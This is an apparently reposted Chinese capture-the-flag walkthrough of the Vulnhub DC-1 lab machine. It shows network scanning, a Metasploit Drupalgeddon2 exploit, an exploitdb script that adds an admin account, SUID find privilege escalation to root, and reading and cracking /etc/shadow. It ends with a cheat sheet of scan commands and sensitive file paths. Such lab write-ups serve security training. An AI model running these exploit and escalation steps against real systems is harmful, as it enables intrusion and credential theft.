DC-1 Vulnhub

Posted helloctf

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-1 Vulnhub相关的知识,希望对你有一定的参考价值。

这个靶机一共有5个flag,全部找到就能通关。
因不知道DC-1靶机的IP,所有我们需要将靶机和kali放在同一个局域网里面,使用桥接模式,先探测DC-1的主机IP地址。

nmap -sP 192.168.1.0/24

拿到靶机的IP地址192.168.1.7
技术图片

接着探测靶机开放了哪些端口。

nmap -sV -p- 192.168.1.7

可以看到开放了22 80 111三个端口
技术图片

访问80端口。拿到一个Drupal CMS建的站。查看详细的信息

whatweb 192.168.1.7 

得到CMS的版本信息是Drupal 7
技术图片

那么我们可以用msf搜索CMS的漏洞

search drupal

技术图片

use exploit/unix/webapp/drupal_drupalgeddon2 //选择一个漏洞利用。
show options  //查看需要设置的参数
set RHOSTS 192.168.1.7     //设置参数
exploit      //攻击

成功的建立会话。
技术图片
进入系统的shell
技术图片
但是这里并不是交互的shell,所以我们要进入交互式的shell。
使用python的pty反弹一个交互式shell。
python -c "import pty;pty.spawn(‘/bin/bash‘)"
列一下当前的文件,拿到flag1.txt文件。
技术图片
提示我们每一个CMS都有一个配置文件。我们快可以百度一下Drupal CMS 配置文件所在路径,Drupal的默认配置文件为 /var/www/sites/default/settings.php

cd sites/default
ls
cat settings.php

拿到flag2.txt文件。提示:字典爆破攻击不是获得访问权限的唯一方式(你需要拿到访问权限)这个应该是和dc-1主机密码有关系吧。
技术图片
同时flag.txt还给出了数据库的账号密码
技术图片
进入数据库查看。

mysql -u dbuser -p
use drupaldb
show tables;
select * from users;

我们可以发现admin用户。在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便破解admin的密码,
cat /var/www/includes/bootstrap.inc | grep VERSION
可以得到CMS版本为7.24,该漏洞在7.31版本之下都适用。
技术图片
下面搜索这个漏洞

msf5 > searchsploit drupal

技术图片
利用漏洞

kali@kali:~/Desktop$ python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.7 -u admin1 -p admin1

成功添加了一个admin1/admin1用户
技术图片
用新添加的账号密码登录。拿到flag3
技术图片
特殊的PERMS可以帮助找到密码-但您需要-exec该命令来确定如何获取隐藏的内容。
技术图片
在.etc/passwd中发现了flag4
技术图片
从信息中可以看出存在/home/flag4目录,拿到lfag4.txt。同时提示我们去找到root权限下的flag。那么拿到最后的flag需要提权了,www-data的权限显然不够。
技术图片
使用suid提权,找到一个属于root的有s权限的文件

www-data@DC-1:/$ find / -user root -perm 4000 -print 2>/dev/null
www-data@DC-1:/$ find / -perm -u=s -type f 2>/dev/null

查看find是否具有root权限。

cd /usr/bin
ls -l find

技术图片
find 具有root权限
技术图片

www-data@DC-1:/usr/bin$ mkdir test
www-data@DC-1:/usr/bin$ find test -exec ‘/bin/sh‘ ;

成功提权到root权限。
技术图片
寻找在root权限下的flag。

cd /root
ls
cat thfinalflag.txt

5个flag都拿到手了。
技术图片
flag是拿到手了,但是dc-1主机的密码一直没有拿到。我们可以用我们拿到的root权限去获取主机的密码。

# cd /etc
# cat shadow

按flag2.txt的提示,应该可以爆破出来吧。
技术图片
自己并没有爆破出来,看wp知道密码是orange。把orange加到字典里成功爆破,哈哈哈哈。。
技术图片
该靶机涉及到的一些点:

1、nmap 常用命令参数
nmap 主机名/IP地址  //扫描主机,加上-v参数可以获取更多细节
nmap 192.168.1.*  //使用通配符扫描整个子网
nmap -iL nmaptest.txt  //使用-iL参数批量扫描nmaptest.txt中列出的主机名和IP地址
nmap 192.168.1.* --exclude 192.168.1.8 //扫描整个子网,除去192.168.1.8这个地址
nmap -sA 192.168.1.7   //扫描主机是否使用滤包器和防火墙
nmap -sP 192.168.1.*  //扫描某一网段在线的主机
nmap -V  //查看nmap版本
nmap -p 80-160 192.168.1.7  //扫描某一主机的某一范围的端口
nmap -sV 192.168.1.7     //查询出在远程服务器的服务版本
nmap -sS 192.168.1.7     //执行一个秘密的扫描
2、Python一句话反弹shell
python -c "import pty;pty.spawn(‘/bin/bash‘)"

更多的反弹shell 的方法可以参考https://www.anquanke.com/post/id/87017

3、Linux下一些敏感目录
/etc/passwd                              # 账户信息
/etc/shadow                              # 账户密码文件
/usr/local/app/apache2/conf/httpd.conf   # Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf   # 虚拟网站配置
/usr/local/app/php5/lib/php.ini          # PHP 配置文件
/etc/httpd/conf/httpd.conf               # Apache 配置文件
/etc/my.conf                             # MySQL 配置文件
4、find提权

原理:如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。参考链接 https://www.anquanke.com/post/id/86979

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;










































以上是关于DC-1 Vulnhub的主要内容,如果未能解决你的问题,请参考以下文章

DC-1 Vulnhub

vulnhub: DC 1

vulnhub渗透记录1(DC-1&DC-2)

vulnhub DC1 靶场练习

Vulnhub靶场渗透-DC-1

DC-1靶机